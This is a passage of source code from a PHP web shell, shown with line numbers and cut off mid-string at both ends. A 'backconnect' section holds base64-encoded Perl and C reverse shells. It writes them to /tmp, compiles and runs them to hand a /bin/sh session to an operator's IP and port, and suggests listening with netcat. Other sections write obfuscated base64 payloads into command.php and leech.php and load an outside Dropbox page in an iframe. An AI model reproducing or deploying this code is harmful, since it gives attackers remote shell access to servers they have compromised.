SI8P3BocCBlY2hvICRfUkVRVUVTVFsncm93cyddID8+Ij4KPD9waHAKJGxpbmVzID0gc3Vic3RyX2NvdW50KCRfU0VTU0lPTlsnb3V0cHV0J10sICJcbiIpOwokcGFkZGluZyA9IHN0cl9yZXBlYXQoIlxuIiwgbWF4KDAsICRfUkVRVUVTVFsncm93cyddKzEgLSAkbGluZXMpKTsKZWNobyBydHJpbSgkcGFkZGluZyAuICRfU0VTU0lPTlsnb3V0cHV0J10pOwo/Pgo8L3RleHRhcmVhPgo8cCBjbGFzcz0icHJvbXB0Ij48P3BocCBlY2hvICRfU0VTU0lPTlsncHJvbXB0J10uIjo+IjsgPz4KPGlucHV0IGNsYXNzPSJwcm9tcHQiIG5hbWU9ImNvbW1hbmQiIHR5cGU9InRleHQiIG9ua2V5dXA9ImtleShldmVudCkiIHNpemU9IjYwIiB0YWJpbmRleD0iMSI+CjwvcD4KCjw/IC8qPHA+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFeGVjdXRlIENvbW1hbmQiIC8+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InJlc2V0IiB2YWx1ZT0iUmVzZXQiIC8+ClJvd3M6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJyb3dzIiB2YWx1ZT0iPD9waHAgZWNobyAkX1JFUVVFU1RbJ3Jvd3MnXSA/PiIgLz4KPC9wPgoqLz8+CjwvZm9ybT48L3RkPjwvdHI+CjwvYm9keT4KPC9odG1sPgo8P3BocCA/Pg==';
1349 $file = fopen("command.php", "w+");
1350 $write = fwrite($file, base64_decode($perltoolss));
1351 fclose($file);
1352 echo "<iframe src=command.php width=63% height=700px frameborder=0></iframe> ";
1353 echo "<iframe src=http://dl.dropbox.com/u/74425391/command.html width=35% height=700px frameborder=0></iframe> ";
1354} elseif ($action == 'backconnect') {
1355 !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
1356 !$yourport && $yourport = '7777';
1357 $usedb = array(
1358 'perl' => 'perl',
1359 'c' => 'c'
1360 );
1361 $back_connect = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj" . "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR" . "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT" . "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI" . "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi" . "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl" . "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
1362 $back_connect_c = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC" . "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb" . "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd" . "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ" . "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC" . "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D" . "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp" . "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
1363 if ($start && $yourip && $yourport && $use) {
1364 if ($use == 'perl') {
1365 cf('/tmp/angel_bc', $back_connect);
1366 $res = execute(which('perl') . " /tmp/angel_bc $yourip $yourport &");
1367 } else {
1368 cf('/tmp/angel_bc.c', $back_connect_c);
1369 $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
1370 @unlink('/tmp/angel_bc.c');
1371 $res = execute("/tmp/angel_bc $yourip $yourport &");
1372 }
1373 m("Now script try connect to $yourip port $yourport ...");
1374 }
1375 formhead(array(
1376 'title' => 'Command : nc -vv -l -p 7777'
1377 ));
1378 makehide('action', 'backconnect');
1379 p('
1380');
1381 p('Your IP:');
1382 makeinput(array(
1383 'name' => 'yourip',
1384 'size' => 20,
1385 'value' => $yourip
1386 ));
1387 p('Your Port:');
1388 makeinput(array(
1389 'name' => 'yourport',
1390 'size' => 15,
1391 'value' => $yourport
1392 ));
1393 p('Use:');
1394 makeselect(array(
1395 'name' => 'use',
1396 'option' => $usedb,
1397 'selected' => $use
1398 ));
1399 makeinput(array(
1400 'name' => 'start',
1401 'value' => 'Start',
1402 'type' => 'submit',
1403 'class' => 'bt'
1404 ));
1405 p('
1406
1407');
1408 formfoot();
1409} elseif ($action == 'leech') {
1410 $file = fopen($dir . "leech.php", "w+");
1411 $perltoolss = 'PD9waHAgJGEgPSAnSUNSaElEMGdKMGxEVW1oSlJEQm5TakJ3U0ZKWFpGRlZNRVoxVld0YVIyUXlT
1412WGhqUm1oVFlsaFNhRll3Vm5Oa2JFNXhVV3M1YTJKVmNERldWekUwWVZkS2MxSnFRbUZTVjJoNldr
1413UkdkMVpYVGtWUmJVWllVakprTTFaRlVrdGlNREZJVTJ4b2EyVnRVa3RWYWtFeFpHeGtWMkZGZEd4
1414aVNFSmFWbFpTYzFZeFduTlRhMmhWVW14S2RWbHRkREJXVjAxM1RsVlNhV0Y2Vm5wWGExWmFUbFV4
1415U0ZKc2FFNVdNMmhhVkZjMWIyUXhiSE5hU0U1T1VsaFNSbFZXYUVOVlIxSTJVV3Q0VkdFeFdsQlph
1416a3BUVjFkS1NHVkhiR2hOVlhBelZsVmFhazFYU2toVmFsWlNZVEZLYjFVd1dscE5WbVJ6V1hwR1Ux
1417WXdXbFpaZWtFeFVrZEdWMU5ZWkZwV2JVNDBXV3RhYm1Wc1VuUlBWMFpYVFRKb05sVXhWbEprTVc5
1418M1lraENWRmRHV21oVmFrSmFaREZrYzFSdE5XaFdia0pGVkRGb1UxUlZNVmhrUnpWVlVtczFSRlV4
1419VlRWa1IwWTJWMjF3YkZaWGVETldSV1J6VTIxR1ZrOVVUazVTV0ZKTVZXcEtORTB4WkVWVWEzUnBV
1420akJ3V1ZReFVrTlpWbFYzVWxSV1ZGWlZOVlJYYlhoV1pERmFjMVJzWkdoTlZuQlZWbXBPYzFNeFZY
1421aFRiRnBPVm10S1dGVnNXbUZpVmxaWFZteE9VMVpzV25kVk1qRlRWVWRTTmxGcmVGUmhNbEpvV2xa
1422a1NtVlZNVmhYYlhCT1lsZG9lbGRYZEd0T1IwWjBVMWhzVm1KWWFFdFZhMUpEWW14T2NWUnJPV2xO
1423V0VKWldsVm9UMVZzUlhsVWFrWllZV3R3V0ZSVlpFZFRSVGxaWTBkMFUwMUhPSGhYVnpCNFVqSlNS
1424Mk5HVW1GTmJsSmFWRlpWTVZJeFdsaGxSMFpUWWtaYWVsbDZTVEZXYXpGSFYyeFNWMkpZVWxoV1ZF
1425WnVaREExVmxOc1ZsZFdiRm94VmpCYVQyTnRVbFpqUkZaYVpXMVNSbFpXWXpWamJIQkdXWHBXWVdK
1426SVFsbFVWbVJ2WVVaWmVscEhOVlpTYXpWRFdXMTRjMlJIVmtsWGJVWnNZVEowTTFkV1ZsZFJNa3Aw
1427VTJ4b1UySnJTbkJWV0hCWFkxWnNjVk5ZWkdsaGVtdDZWRlZXTUZNeFRrWk9XRTVhVFdwV2FGbHJa
1428RTlqTURsWlZXeHdWMDF1YURaVk1WWlNaREZ2ZDJKSVFsUlhSbHBvVkZkNFdtUXhiRlpaZWxac1ls
1429WktTVlV5Y0ZkaFYwcFdWMnBDV0dKRk5YVlpWRVp1WlVaU2NsZHNXbWxTYmtKSVZteGtOR1Z0U25O
1430V1dHUlhZa1UxV0ZsVVJtRldSbVJGVVZSR1VtSkdTbGRXYkdNeFYxWlZlV1JFUmxSV01uaERWMnBD
1431TkZaR1JsaGlSVEZvVm10d2RGWnNVa05XTVZWNFYyNUtWMkpGTlZsYVZtUlRVMnhhY2xkc1RsWldi
1432V1F6V1ZWYVExWnJNVmRTYmxaWVVtc3dkMWxXVm5OalYwMTNUbFZTYUZacmNEWlhWbHBxVFZkT2My
1433RXpjRlJXTWxKU1ZsUkNSMk5HV2taYVNFNXJWakJaTWxscVNtdFRiVVpWVlc1S1dGSkZXbEJWYlho
1434WFl6RmtjbGRzV21sVFJUVXhWbXhTUTFZeFZYaFhia3BYWWtVMVdsUlZVbGRSTVZwSFZteGFhV0pI
1435YUZWVWEyUnpVMjFHVlZWdVNsaFNSVnBRVlcxNFYyTXhaSEpYYkZwcFUwVTFNVlpzWkRCV01WWnpW
1436MnhhVjJKR1NsaFZiWEJ6VmpGYVdHUklTbWxpUjJoVlZHdGtjMU5zUmpaUmJUVldUVlp3UTFkcVJr
1437dFhWMFpJWTBkMFdGSnJjRE5YVnpCNFlXczFjbUpGVWxaaWEwcHhWVzF3YzA1V1pITlpNMmhyWWxa
1438S1NWWnNaR3RVVmxWM1UyeGFXbFp0VGpSWmExVTFZMFpHV0dSSGRGTk5ibWQzVmpKNFdrNVhWblJT
1439YTJoWFltczFjRlZVUW5KTk1VcEhVbTVhYUUxcldrbFdiVEZ2V1ZaSmVGZHFWbFJXVmtZelYycENj
1440Mk5zWkhWaVIyeE9ZV3RGZVZVeFZrOVZNa3BZVkc1U1VGZEdTbHBVVkVFeFpHeGtjMXBFVW1wTlYz
1441UTFWREZrTUZsV1duVmhSRlpZVWxkTmVGWlVSbmRYVmtaMVZHMTRWbVZyVmpOWFZ6VjNaR3h2ZDJO
1442RmFGaGliWGh3VkZkd1IySldiRFpUYlRscFVqQndTVnBWWkhkaFZURnpVMjVPVkZZelFqWldSM1JQ
1443WTJ4R2RWVnNjRmROYm1nMlZYcENUMVV3TVVoVFdHaFFWak5vY0ZacVFtRmtNV3h5VkdwT1lVMUlR
1444a3BXUnpFMFlXMUtjMk5JVGxwTmJtTXhXa1ZhYzFkSFNrbFVhekZTVFVWYWVWZFhkR3RqTWxKWVVs
1445aHNWV0p0ZUU1VlZFSkhZMnhzVmxwR1pHaFNia0pKVm0wMWMxUkdXa2xVYXpsU1RXMDRNRk42UWxO
1446VmJVbzJZVWRvVkZKcmIzZFhWM1JQVVRBMVNGTnNhR3hUUmxweFdsZHdRMk5HYkZaaFJrNU9VakEx
1447UmxscVRtRlVWVEI1VlZod1lWTkhjM2hVVkVGNFRsVTFXVmR0Y0dsV01EUjVWa1phVTJOck5WWlBW
1448bEpRVmtaS2IxVXdXa3ROUm14eVZHdHdZVTFzV2tsVVZtaFBWVWRLV1dGSE9WcGlWRVp4VkRGV2My
1449UkdXblZXYTNCb1ZsVndObFl4V21wTlYwcHpVV3hTVkdKWWFIQlpWbFp5WTJ4S1IxSnVXbEJTTVVw
1450SldXdFNRMkZXU1hoV1dFcFdVbFpGTVZwRVNrZFRWa1pZV2tkR1YwMUVWakpYVnpWelVXMUdWMWRZ
1451YkZkaVYzaHhWRmN4TTJReFpITlVhMHBQWVRKNFJWVXhhRmRUTVVweFlrWldWbUpHY0V4V2FrWkxW
1452akZPZEZOcmRFNVNNbWhYVm0xMFlWRXhjSE5VYTFwUVZteEtXRlZVU2xOaE1WSklZa1Z3YUZaVWF6
1453SlVNRTR3VTJ4T1NWcEhOVlpTVmtVeFdrUktSMU5XUmxoYVIwWlhUVVJXTWxkWE5YTlJiVVpYVkd4
1454a1VsWXlVbEZaVmxaSFkwWlNTRTFYZEdsU01VcEpXVlZvWVdGck1IaFRia0poVm0xTmVGbFZaRXRY
1455UmxwWVQxVjBVMkZ0ZUZaV1YzaGhVekZaZUZOc1pGUmlWWEJNVkZaVk1WSXhXbGhsUjBaVFlrWmFl
1456bFF4VlRWVmJGcFZVbXRrVkdGclZqTlpNRlkwWTBaT1dHSkdRbXhoYldSNVZURldVMDB5VW5SVmEy
1457aHBVa1ZLY0ZWcVJsWmpiRXBIVW01YVVGSXdNVFpXVjNCWFlWWkplRlpZU2xOU2Exb3lWVEl4UjFO
1458V1ZuVlZiV3hTVmtWS1RWVlVSbTlsYkZKeVZHMDFhRTFJUW5GVVYzTXhUbFpzY1ZOcVVtcE5WM2d3
1459VlcwMWMxUldaRWRUYWxaWVZtMVNVRmt5ZERSWFJsSjFWMjFzVTJWdGR6RldSRXB6VVcxR2NrMVZW
1460bEpYUjFKUFZXdFdSMDB4VVhwWk0yUlVUVVUxVTFscmFIZFhhekIzWTBSS1dtRXlVVEJaVmxwelYx
1461Wk9XVlZ0Um1sV1ZuQjRWako0VG1WSFJuUlRXR3hzVTBad2NWbFhNRFZpYkU1WlkwVkthMDFFUmta
1462VlZtaHJWR3hLU1ZSck9WSk5iVko1VlRJeFRtVldVblZpUjJ4T1ltMW9ObFl4WTNoU01sWldaVVpv
1463YUZORlNtaFVWekZ2Wld4c1YxcEhkR2xOYkVwRlZGWmtkMkZWTVhWaFJFcGFUVzVDTWxkcVFuTk9i
1464RVpaV2tVMVUxSlZXWHBXUmxaVFpXeFNjbFJ0TldoTlNFSnhWRmR6TVU1V2JIRlRhbEpxVFZkNE1G
1465VnROWE5VVmxsNFUyMDVXazFxUlhkYVZ6RkhVMFpLZEdSSGJFNU5helIzVmxaU1NrNVhUWGxUV0hC
1466VVZrWndTMVZVUVhoTk1WSldWV3RLYTAxRVJrWlZWbEpyVWxaV1dFOVZkRkpOVjJoUVdWY3hUMlJG
1467T1ZsVWJXeFRUVWhDZGxkVVNuSmtNbFp6WTBWb2JGTkZTbWhVVnpGdVpERlNSMXBGT1d0aVZYQkpW
1468REZvYzFWSFJsWk5WRTVWVmxaS1ExcEVRWGhTVmtaVldrVldWbFo2YkV4WGJYaEdaREZOZDFSc2FG
1469UmliSEJvVlRCa01GUXhSWGxhU0U1UFRVWktVMWxxUW5kU1JsbDRZMFJLV21KVVZsTmFSVnAzWkVa
1470S2RWVnRhRmROTW1ONFZrUktjMUV4V1hoalJteFVZbGhTWVZadWNGZGlNVkpHVkd0T1YxWnRlRmxa
1471VldoaFlWWlpkMVp1Y0ZSV1YyaFFXVlZrUzJSV1VsbFZiWEJPWWtadk1WZFdXbXRYYXpSM1ZXeEth
1472VTFJUWtWV2FrWjNUV3hzZEU1V1NtdFNNREUxV1d0U1lWbFdXa2hQVnpWVlZteEtURnBFU2xkU1Yw
1473MTNUbFZTWVUxdVl6RlZhMXBIWkd4T2MySkdTazVTV0ZKRlZqQm9UMVF4UlhsYVNFcFVZbFpLU1Za
1474dGNGTmhNVVkyVW01S1dHSkhVbEJhUnpGUFpFWktjVkZ0YUZkbGJYZDRWa1JLYzFFeVVsaFRXR3hQ
1475VmpOb1VWcEljRU5VUmtWNFdqTmtWV0V3TlhWWmEyaHJVbFpXV0U5VmRHRlhSMDR6VlhwQ1QxVnRT
1476a2xWYkhCWVVsaENNVmRXV21wTlJUVnlZa1ZXVkdKdFVuTlZhMmhQVkRGRmVWcElUbEJXVmtwVFdX
1477cENkMkV4U1hoU2F6bFNUVzFTZWxScVFsTlZiVWwzWTBWU1YwMUlRblpXTVZKTFRVZEtkRlJ1VWxC
1478V1JWcHdXV3hhUmsxc1RsWlVhemxwVm01Q01GWXlNSGhaVjBwWFlYcE9VMUpyV2pKVk1uUlBWMFpP
1479ZFZkdGNHbFdhM0I2VjFSS2QyUnNiM2ROVm14U1lXeEtTMVZ1Y0hKbFJuQkdZVVU1YVZJeFNrWlpl
1480a0V4VWtadmVXUjZWbE5TYTFveVZUSXhVMU5HVmxsV2JGWk9ZV3hLVUZWVVNtdGpNRFIzVld4S2FV
1481MUlRa1ZXYWtKM1RXeHJlVTFXVG1sU01EVjRXV3BLYTFSc1pFWlRWRUpVVmxkU2VscEdaRTVsVmxw
1482eFVXeENhMlZyU2sxVlZFWnVaREZTY2xSdE5XbFRSVXB3V1cxMFNtVkdjRVpTV0dSVVRVVTFXbGw2
1483UVRGU1JtOTVaRVYwV0ZaNlFURmFWbHAzVTBaYWRXSkdRbWhXVlZrd1YxUkNiMkpzYjNoalJXaFRZ
1484bTVDYjFWcVJtRmpiRTVXVkdzMVRrMVZjSGhaYTFaWFZXMUdkR042VGxOU2Exb3lWVEl4WVZWck1V
1485WmtSVkpXWld4YVVsWlVUbXBrTVUxM1ZHeHNhazFFVmtWWGFrb3dVekZrV0UxRVZteFdia0pKVm0w
1486MWMxVkhSbFpTYWxKYVRVZG9kVmRxU2twbGJGcHhVVzF3VG1KR2JETldSRTVxWkRGTmQxUnNTbWxT
1487TW5oaFZtcEJNV1ZXWkhGVWEzUnJZbFpLV1ZSc1pEQlZSMFpXVW01R1ZtSllRa2hWYWtGNFZteGtX
1488V0ZHUW10bGEwcE5WVlJHYm1ReFVuSlVia1pyVFRGd2NWUlVSa3BOVm14eVdrWmFURTFHU2xOWmJu
1489QnZWMjFLVldKSVNtRldhelZFV2tjeFMyTnRWa2xYYkhCWFRWVlZNVlV4WTNoak1sSllVbXhzVmxa
1490NmJFMVdWRUp6WW14c05sUnNUazlXTUhCSlZteFNjMU50U2xWU2JUbGFUV3BHY2xrd1pFdGpWMGw2
1491V2taQ1RrMVZjSFpXTVdONFRrZEtSbVZHYUd4U01taHpWbTV3Y21WR2NFWlZibVJwVmpCYVdsbFZa
1492RFJaVmtwSlZHMDFZVkpGYXpGYVZscDNVa1V4V0dKSGNHbFdiSEIyVjFab2QyUXlSbGhVYmxKWFls
1493ZG9iMXBXVWtkaU1XeHlXa1JPYUZaWGVFbFZNakF4VjJzeGNXSkljRnBoYXpWTFZERmFjMlJIVmto
1494aFJuQk9ZbXMxZFZZeFkzaFNNa1owVWxoc1lWTkhlSEJVVkVaaFRWWmtjbFZZYUdsTmJFcEtWbGMx
1495YTFWSFJsVmhSRXBhVm14S1IxcFZWWGhqVmxaWlZtMXdVMDF0WjNsWGExWnFUbGRHV0ZWc2FGVmlh
1496M0JvVmpCYVIwMVdaRlZUVkZaclVsaGtOVlZ0TlU5WGJVcHpWMnBDV2sweWN6Rlpla0V4Vmxac05s
1497SnJNVTVpVmtvelYydGplRkl3TlZaa00zQldZbFJzV2xSWGNFZGlNWEJHWVVWMGFsSXhXa1ZVYkdN
1498eFlVWlplR0V6U2xOU2Exb3lWREJrVDFKR1JuUmhSMnhUVFc1b01WZFhNWFprTWtaWFlUTnNWMkpz
1499V25KVmFrWmhUbFpPV0dKNlFsQlNiWGg0Vkd0U2IxbFhTbFZpUkVaaFVsVTFSRmxYTVVwbFYxWkpW
1500MjF3YUdGclNuZFZNVkpEV1ZaSmVGTnVTbGhoTWxKVVdWWldjMkpzYkRaVGJrNVBZa2hDVmxSVlpI
1501TlViVVpXWVROS1ZsSldSVEJXUjNSUFltc3hSbVJIY0U1TmJFb3pWMnRXYTFReVNYZGtSVkpXWWxa
1502d1ZGUlZXbUZXYkZsNllrZDBWV0pWYnpGWGEyUlRWRVpXVlZGcmVHRlhSMDR6VlhwQ1QxZEdVblJo
1503UjNCT1lrWmFkVlV5Y0VkVk1rbDVWV3hhVGxaRldtRmFWbVJPVFd4S1IxSnVXbFJoTURWVlZsY3hZ
1504VlpzU2xWaVJsWlhZVEZ3TmxsdGVGTlhSVGxJVGxac1YxSkZTakZXYlhScllqQXhWMVZzYkZkaVdF
1505Sk1XbGMxVDFReFJYbGFTRXBVWVROQ1NGUXhXa2RXVlRGV1RsWmFWMDB5ZUhKV2JHUkhVMVphY2s1
1506WGRGZE5SRVl4VmpCYVVtUXlSWGhhTTJSaFVsWndXRlZ0TlU5a1ZscHlXa2M1VGxac1NscFdiVEYz
1507VXpBeFZWRlVUbE5TYTFveVZUSjBUMWRHVG5WaVIwWlhUVVp3TlZaRVRtcGtNVTE1VjJ4S1RsSllV
1508a1pXVm1oRFRteHdSVk51VGs1U2JYUTFWMnBKTlZNeFNuRmlSa3BYVWtWYVVGWnNXbXRPVm5CR1Rs
1509ZHNiRll4U25KVmVrWkdaREZOZVZacVRrNVNXRkpGVm1wR1MyTXhaSFJOVldST1ZqQndTbFpXVW1G
1510VGJFWlZVV3Q0VWsxVldubFpWRVp1WlVaR2MxRnNXazVXYTNCd1ZUSndSMVV5U1hsVmJGcE9Wa1Zh
1511WVZwV1pGTmhNVlpIVkcxd2ExWllRVEpaZWtFeFVrWnZlV1JGZEZOU2Exb3lWVEo0Y21WV1NuVmpS
1512MFpXVFVWYU1WWnRkR3RpTURGWFZXeHNWMkpZUWt4YVZ6QTFZbXhLUjFKdVdsUmhNRFZUVkZWV01G
1513SkdWbGhrU0VwV1lUSlNTRnBHWkVkU01WSjBZVVp3VG1KWFRURlZNblJYVkRKSmVWVnNiR2xTTTJo
1514d1dWUkdTMlF4VWtkVlZFWlRWbTE0V1ZSc1l6VldhekZ5VjI1R1dsWlZOWFZaVkVadVpVWkdjMUZz
1515V2s1V2EzQndWVEp3UjFVeVNYbFZiRnBPVmtWYVlWcFdaRk5oTVUxNFZXNXdWV0V3TlhWWlZFSjNW
1516VmRXY1ZWck9WSk5ia0Y2V2tkNGQyUkZPVmxXYlhSVFVrWkZNRlpGVWt0VGEzTjRVV3RzVWxZeVVt
1517RldhazV2WkRGa2NWTlVRbEJXVjNnd1ZrY3hOR0ZYU25OVGJrNWFUVzE0UzFONlFuZGtSVFZZWWtk
1518d1RrMUZWWHBXVlZacldWZFNkRlJ1VWs1U01sSndWbXBHV21ReGJGWlplbFpvVFZWS1ZWVXlOV3Ro
1519VlRCM1RraGtWRll5ZUVSWlZWcHlaV3hXZFZGdGJFNWhiRVV4VlRGa2QwMHdkM2hSYkdoVVlsZG9j
1520VlJYZUdGTlZtUlhXVE5vYVZKWVVraFVNV1JoVlRKRmVXVkZOVlppUm1zeFYyMTBNRlpWT1VSa1JY
1521Qm9WbFZ2ZVZkWE1UUlVNREZYWWtoU1RsZEZTbkpWYTFKRFkwWndTRTFWWkd4V1YzaEhXa1ZrTkdF
1522eFNuSlhXR2hZVm14R00xbHRkSGRPYlZKRlUyeHdXRkpYZUhWV2JYUnJVakpTUjFGc2FGWmliSEJo
1523VkZSR1lVMUdaSE5aZWtaT1VsaG9NRmRyWkRSaE1VcFhWMjV3V0dKSFRqUlphMlJMWkZaV2RXTkdT
1524bWxpV0doUlZqRmFhbVZIU2taa1JWSmhVbFJHY2xacVFtRlNWbXhXV1hwV2ExWllRVEZaV0hCcldW
1525ZEtWV0pFVmxSTlIxSjVWREZWZUZKWFVrbFJiRVpUWWtWd2RsZFhlRTVOVjAxNFkwWm9UMVo2Vm5K
1526VmFrcHFUVEZzVjFSdWNHcGhNMUphV2tWb1ExbFhSbGhoUmxwWVZtMU9ORmRYTVVkV01ERkpWbXh3
1527VG1KWGFIcFdNVkpMVFVkS1IyTkZVbWxTUjFKVlZGZDRXbVF4V2xkaFJtUm9VbGhSTWxSV1dsZFhi
1528Rm8yVW0xc1dsWnNiRE5hUm1SVFpFWktkVlJ0ZEZkTlZsbzFWVEkxZDJWdFNuUlhiR3hPVmtWS2Ix
1529VnFTalJPYkZKSVpVWk9hRkl3TlVoV1Z6VkRZVmRHVlZaWWJGaFdiVkV3VkZaYWQxWlZNVlpsUjBa
1530WVVtdHdWRmRyV210U2F6UjVVbXhvV0ZaNmJFdFdha0V4VFd4c2RFMVhSbXBTTURVd1ZGVmpOVk13
1531TVZoYVNGSlVWMGhDUzFwV1ZURldWMUpJWTBWd1UyVnNXakpWTWpGelZHc3dkMDlWVmxkWFNFSlJW
1532RmR3VTJKc1pGVlRiVGxPVmpGYVZWWXhaSGRVTWxaMFdUTndWV0pHU1hkYVJsWjNUbGRGZWxGdGVF
1533NU5TRUo2VjJ0V2IxWXlWbGhUYmtKU1lsUkdZVlpxVG05T2JHUnpXak5rYUZaWGVFcFdWekZ2WVcx
1534S1dGVnVUbUZTVmtZeldWWmFibVZXVG5WVWJIQlhaV3hhTlZVeFpIWk5SbEp5VkcwMWFFMUlRbEpW
1535YWtaM1RXeHNkRTVXU21GTlYzUTFWREZvVDJGVk1IZGhlbFpVVmtWd2FGbHNXbmRrUm1SMFRWZEdh
1536R0ZzV2taWFZsWnZWakExVm1OSVFsVldSVFZSVld0a1RtVkdValpUVkVKaFRVaENkMVpHYUhOVU1s
1537WnlUVVJPVkdKWGVFOVVWRUUxVWxacmVtRkdRazVoYkVWNVZsVldUazVYU2xoVFdHeFBWa1ZLVWxs
1538V1ZrWk9SbXhYV1hwR2EwMXNTbHBXVm1ScllURk9TR1ZFVGxoaVJrWXpXVlprVTFOR1duRlZiWFJT
1539VFVkNGRWZFhNSGhTTWxKSFkwWldUbEl5ZUZSVmFrWmhUVlphY2xwSE9VNVdiRXBhVm0weGQxTnRS
1540bFpUYWxwYVZtMW9NMWxyV2tOV1JrNVpZVVUxVWsxSGVIVlhhMk40VWpKTmVWVnNhRmRXUjNoTFdW
1541WlNjMDB4Y0VkYVJYUnFUV3RhV1ZaSE1XRmhSazVIVTJwQ1dtRXdOVXRYYWtJMFRtczFSazVWVW1G
1542TmJsSk1WbFZXYTJNeVVsaFVhMnhYWVd0S1MxVXdXa3BOVm10M1drWmFVRlpYZURCWlZXaERXVlpK
1543ZUZOdVRscGlWM2hMVjJwS1MyUkdTblZWYlVaWFVrVktkMVpyV21wT1IwWldZa1ZzV0dKWGFIQlZN
1544RnBoWXpGV1IxUnJkRk5TTUZwS1ZtMXdWMWxXV2paV2ExcGFWbXMxUzFkcVFqUk9helZHVGxWU1lV
1545MXVVa3hXVlZacll6SlNXRlJyYkZkaGEwcExWVEJhU2sxV2EzZGFSbHBRVmxkNE1GbFZhRU5aVmts
1546NFUyNU9XbUpYZUV0WGFrcExaRVpLZFZWdFJsZFNSVXAzVm0xMGExSXlVWGhYYTJocFUwWmFTMWxX
1547VmtkTmJGWklXVE5rVkUxRk5WTlpXSEJ2WVVaYU5sWnFUbUZTYldoVFYycEtVMU5YU2tsYVIwWlhV
1548a1ZLZDFkV1ZtdGpNa1Y0WTBWb1YySnNXa3RaVmxaTFRWWmtWMWt6YUdsU2EwcFZWVEo0VjJFeFdu
1549TlRibHBoVW14V05GUldXbk5PVms1WVdrZDBhVlpXY0RaWGExcHJWbXM1Vm1KSVJtdGxWR3hTVmxS
1550R1MySldXbFpXVkZaWFVteHdTRmw2U1RGV01VbDVXak5vVjFKdGFGaFpWM1IyWlVVeFJFOVdSbWhX
1551VjNoMVZrVm9kazFHVW5KVWJUVm9UVWhDVWxWcVJuZE5iR3gwVGxaS1lVMVhkRFZVTVdoUFlWVXdk
1552MkY2VmxSV1JYQm9XV3hhZDJSR1pIUk5WMFpvWVd4YVVGVXlNWE5VYlZaV1RWaEdWMVpIVW5OV1ZF
1553SkxZMVpzVmxSc2NHaGhlbFV5V1ZST2IxUnNXa2xVVkVwV1VsVXdNVmxzWkVwbFZUVlZVV3hHYUZa
1554VlZUQlhWbHBxVFZkUmVWVnNiRlpXTWxKeVZUQmtORTB4WkhOVldHUm9WakZLU1ZadGNGTmhNVVYz
1555WWtjMVdtSlVSa2hhUlZwM1ZsVXhTR0pHVGxOTmJtaDJWbFpTUzJJeVRrWmlTRUpTWW01Q2IxWXdh
1556RU5qTVZaSFZHdHdiRkpVUmtWVk1XUnJZVEpLVmxkdWNHRlNiVkpYVkRGV2MyTlhValZQVmtaV1RW
1557VndkRlpzVWtOV01WcEhWbGhrYVZKclNsWlphMmhQWkZaV2NscElUbWhTYTFZMVdWVm9RMU13TVZW
1558UldGcFdVako0UzFkcVFqUk9helZHVGxWU1lVMXVVa3hXVlZacldWZFNkRk51VmxaV01sSmhWRmR3
1559YzJWc2JIRlVhM0JRVmxkME5WWXlNSGhaVjBwWFkwaFNXR0pYT0hoV2JGWjNZMFpTV1dKRk5XeGlS
1560VlY2VjFjeGMxRnRTbFppUkZwVVZrVTFUMXBYTlU5a1JrNVpZMFZ3VGxaVWJGWmFSV2hYVTJ4S05s
1561WnVXbFJpVjNoUFZGUkJOVkpXV2xsalJrSk9UVVZWZVZaVlZrNU9WMHBZVTFoc1QxWkZTbEpaVmxa
